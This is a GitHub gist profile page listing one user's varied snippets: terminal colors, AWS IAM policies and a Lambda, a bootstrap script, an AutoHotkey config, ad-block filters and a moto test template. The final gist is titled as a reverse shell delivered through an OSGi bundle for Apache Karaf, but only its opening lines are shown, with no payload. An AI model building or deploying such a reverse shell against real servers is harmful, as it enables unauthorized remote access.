Skip to content

Instantly share code, notes, and snippets.

View GeneralTesler's full-sized avatar

2XXE GeneralTesler

View GitHub Profile
@GeneralTesler
GeneralTesler / colors
Created July 11, 2017 03:20
bash terminal colors
class colors:
PURPLE = '\033[95m'
BLUE = '\033[94m'
GREEN = '\033[92m'
YELLOW = '\033[93m'
RED = '\033[91m'
CLOSE = '\033[0m'
BOLD = '\033[1m'
@GeneralTesler
GeneralTesler / powershell.desktop
Last active January 24, 2018 03:11
Linux .desktop file for PowerShell. Is blue. Also launches admin via right-click. Profile included
[Desktop Entry]
Type=Application
Name=PowerShell
Exec=/home/dev/ps.sh
Icon=/home/dev/powershell.png
Terminal=true
Categories=Utility;
Actions=NewAdminShell;
[Desktop Action NewAdminShell]
@GeneralTesler
GeneralTesler / execrolepolicy.json
Last active May 14, 2018 01:31
Python lambda to launch EC2 + policy
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "VisualEditor0",
"Effect": "Allow",
"Action": "ec2:RunInstances",
"Resource": [
"arn:aws:ec2:*:*:subnet/*",
"arn:aws:ec2:us-east-1::image/*",
@GeneralTesler
GeneralTesler / init.sh
Last active November 5, 2018 19:56
bootstrapper script
#!/bin/bash
#root check
if [[ $EUID -ne 0 ]]; then
echo "Re-run script with sudo"
exit 1
fi
#bashrc config
echo "PS1='${debian_chroot:+($debian_chroot)}\[\033[01;32m\][\u⛾ \h]\[\033[00m\] \[\033[01;33m\][\w]\[\033[00m\]\n└─ '" >> $HOME/.bashrc
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "VisualEditor0",
"Effect": "Allow",
"Action": [
"ssm:SendCommand",
"codepipeline:PutJobFailureResult",
"codepipeline:PutJobSuccessResult",
import json,os,boto3
def lambda_handler(event, context):
iid = os.getenv('INSTANCE_ID',None)
pd = os.getenv('PAYLOAD_DIR',None)
pipeline = boto3.client('codepipeline')
job = event['CodePipeline.job']['id']
if iid is None or pd is None:
@GeneralTesler
GeneralTesler / ducky.ahk
Last active April 7, 2019 03:00
AHK Config for Ducky 60%
;Arrow keys
RCtrl::Right
RWin::Down
RShift::Up
RAlt::Left
;Fn+F10 Fn+F11 Fn+F12
SC044::Send {Media_Prev}
SC057::Send {Media_Play_Pause}
SC058::Send {Media_Next}
@GeneralTesler
GeneralTesler / filters.txt
Last active June 9, 2021 01:52
ublock filters
! hide annoying google drive modal that prompts to sign in
docs.google.com##.docs-dialog.modal-dialog
docs.google.com##.modal-dialog-bg
! crunchyroll filters
||fwmrm.net/ad/*
||facebook.com/rtb_video/*
||crunchyroll.com/*.mp4
@GeneralTesler
GeneralTesler / mock.py
Created May 29, 2019 01:25
Python3 - mocking AWS services for unittest-ing using moto
from moto import mock_<service>
import boto3
import unittest
class TestFooBar(unittest.TestCase):
def __init__(self, *args, **kwargs):
super(TestFooBar, self).__init__(*args, **kwargs)
self.client = boto3.client("<service>")
self.mock = mock_<service>()
@GeneralTesler
GeneralTesler / ExecActivator.java
Last active December 6, 2019 03:46
simple reverse shell via OSGi bundle for Karaf
package com.demo.exec;
import org.osgi.framework.BundleActivator;
import org.osgi.framework.BundleContext;
import java.lang.*;
public class ExecActivator implements BundleActivator {
@Override
public void start(BundleContext bundleContext) throws Exception {